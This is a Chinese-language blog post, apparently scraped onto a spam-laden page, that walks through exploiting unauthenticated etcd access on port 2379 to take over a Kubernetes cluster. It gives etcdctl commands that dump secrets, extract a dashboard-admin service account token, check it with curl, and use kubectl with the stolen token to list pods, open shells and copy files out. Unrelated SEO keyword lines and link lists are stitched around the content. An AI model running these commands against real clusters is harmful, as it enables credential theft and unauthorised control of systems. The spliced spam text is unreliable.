当前位置: 首页 > news >正文

三亚网站定制北京最大的商场

三亚网站定制,北京最大的商场,品牌建设实施细则,wordpress 曙提在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd&#x…

在这里插入图片描述

在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。

etcd 未授权访问

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

访问目标的 https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。

image-20231222085653333

1.查找token

需要使用到 etcd 命令行连接工具:etcdctl

由于 Service Account 关联了一套凭证,存储在 Secret 中。因此我们可以过滤 Secret,查找具有高权限的 Secret,然后获得其 token 接管 K8s 集群

#查找所有的secret
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret

image-20231222090234172

从返回的数据中挑选出一个具有高权限的 role 并读取其 token,以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例,其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole

#查找指定secret保存的证书和token
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp

image-20231222090606284

复制 token,最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分

image-20231222112025096

如果机器上安装了 KubeOperator 存在弱口令,登录之后可以在集群中获取管控 token

image-20231222113634553

如果不知道 server api 可以通过 webkubectl 获取

kubectl cluster-info

image-20231222113822617

2.验证token有效性

curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

3.使用 kebuctl 去执行命令

这里直接指定 token 去执行命令,或者可以通过制作配置文件指定配置文件来执行但是比较复杂

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

image-20231222112738092

kebuctl 常用命令

# 查看所有的资源信息
kubectl get all
kubectl get --all-namespaces
# 获取pods列表
kubectl get pods -o wide --all-namespaces
-n 指定命令空间
-o wide 展示详细信息
# 执行命令
kubectl exec -it podsname -n namespace -- command
-- bash 进入 shell
# 下载文件
kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径)

学习文章

  • K8s集群安全攻防(上)
  • K8s集群安全攻防(下)
http://www.sczhlp.com/news/101565/

相关文章:

  • 绍兴网站专业制作最早做网页的公司
  • 说明电子商务网站的建设流程自学网站开发条件
  • 电商公司网站四大门户网站创始人
  • win7 iis部署网站不愁销路的小型加工厂项目年入百万
  • 网站建设三层架构实训报告网站logo如何替换
  • 网络公司网站建设彩铃样本php做简易网站
  • 南京做网站询南京乐识行业外贸网站建设
  • 网站建设软件 免费自己创建公司网站
  • wordpress 一小时建站教程凯里市经济开发区建设局网站
  • 中国住房和城乡建设部网站官网短链接怎么生成
  • 东莞网站公司星鑫高校网站集群平台子站开发
  • seo百度站长工具查询湖北建网站公司
  • 作文网站哪个平台好html购物网站怎么做
  • 上海市建设交通工会网站二级域名分发
  • 港口建设申报网站网店托管代运营公司
  • 建设网站最好的软件公司变更说明函
  • 网站开发 报价如何做英文系统下载网站
  • 惠州网站建设效果中国石油工程建设公司
  • 大淘客网站如何建设大厂县住房和城乡建设局网站
  • 台州高端网站设计百度自媒体注册入口
  • mvc5 网站开发之美 pdf济南最好的网站建设公司
  • 【笔记】拉格朗日插值
  • qwins是哪个网站做的网站后台用esayui做
  • 免费的seo网站下载小程序变成网页链接
  • 宁德市自然资源局庆阳网站优化公司
  • 做网站美工工资多少网站制作完成
  • 高新网站建设简述网站建设有哪些步骤
  • 做一个个人主页的网站怎么做网站建设中企动力上海
  • 什么网站专做宠物物品凡科网网站建设资料
  • 卖汽车的网站怎么做建设银行的网站查询密码